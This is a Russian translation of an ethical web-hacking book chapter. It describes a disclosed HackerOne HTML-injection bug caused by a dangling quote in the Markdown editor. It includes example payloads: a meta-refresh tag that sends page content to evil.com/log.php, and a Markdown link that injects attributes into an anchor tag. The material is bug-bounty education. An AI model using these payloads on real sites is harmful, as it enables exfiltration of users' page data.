Основы этичного веб-хакинга (перевод)

2. Непреднамеренное включение HTML на HackerOne

Сложность: Средняя 
Url: hackerone.com 
Ссылка на отчет: https://hackerone.com/reports/112935³ 
Дата отчета: 26 января 2016 
Выплаченное вознаграждение: $500

Описание: 
После прочтения о XSS на Yahoo! (пример 4 в главе 7) я стал 
одержим тестированием того, как рендерится HTML в тек- 
стовых редакторах. Это включало в себя игру с Markdown- 
редактором на HackerOne, ввод значений вроде ismap= “yyy=xxx” 
и “‘test” в теги изображений. Занимаясь этим, я заметил, 
что редактор включает одиночную кавычку (апостроф) внутри 
двойных, это известно как “повисшая кавычка”. 
На тот момент я не совсем понимал возможные последствия. 
Я знал, что если вы внедрите еще одну одиночную кавычку 
куда-нибудь, они вместе будут считаны браузером, который 
сочтет все содержимое между ними одним HTML-элементом. 
Вот пример: 
1 <h1>This is a test</h1><p class=”some class”>some conte\ 
2 nt</p>’ 
С этим примером, если вы сможете внедрить мета-тег вроде: 
1 <meta http-equiv=”refresh” content=’0; url=https://evil\ 
2 .com/log.php?text= 
то браузер отправит все, что находится между двумя оди- 
ночными кавычками. Оказалось, что эта уязвимость извест- 
на и описана в отчете на HackerOne #110578⁴ хакером intidc 
(https://hackerone.com/intidc). Когда отчет опубликовали, я немно- 
го расстроился. 
В соответствии с тем, что написано на HackerOne, они пола- 
гаются на реализацию Redcarpet (Ruby-библиотека для про- 
цессинга Markdown) для экранирования HTML-вывода любого 
Markdown-ввода, который затем передается напрямую в HTML DOM (то есть, на веб-страницу) через dangerouslySetInnerHTML 
в их компоненте React. Уточню, что React является библиоте- 
кой, написанной на Javascript и используемой для динамическо- 
го обновления содержимого веб-страницы без её обновления. 
DOM опирается на программный интерфейс приложения, от- 
куда берет валидный HTML и правильно сформированные 
XML-документы. В общем, в соответствии со статьей на Wikipedia, 
DOM является кросплатформенным и независимым от языка 
соглашением по отображению и взаимодействию с объектами 
в HTML, XHTML и XSS документах. 
На HackerOne разработчики не экранировали HTML-вывод 
должным образом, что вело к потенциальному эксплоиту. Это 
значит, что, глядя на отчет, я подумал, что стоит протестиро- 
вать новый код. Я вернулся и провел тест, добавив: 
1 [test](http://www.torontowebsitedeveloper.com ”test ism\ 
2 ap=”alert xss” yyy=”test””) 
что обратилось в: 
1 <a title=”’test” ismap=”alert xss” yyy=”test” ' ref\ 
2 =”http://www.toronotwebsitedeveloper.com”>test</a> 
Как видите, я смог внедрить кучу HTML в тег <a>. В ре- 
зультате, HackerOne вернулись к этому фиксу и снова начали 
работать над экранированием символа одиночной кавычки.

Выводы 
Одно лишь то, что код был обновлен, не значит, 
что что-то было исправлено. Проверяйте. Когда 
выкатывают обновление, это так же значит, что 
новый код может содержать баги. 
Кроме того, если вы чувствуете, что что-то не 
так, продолжайте копать! Я изначально знал, что 
“повисшая кавычка” может быть проблемой, но 
я не знал, как её использовать и остановился. Я 
должен был продолжать. Значительно позднее 
я узнал об эксплоите с мета-обновлением, про- 
читав об XSS на блоге Jigsaw blog.innerht.ml (я 
включил его в главу “Ресурсы”).



Отредактировано: 08.03.2019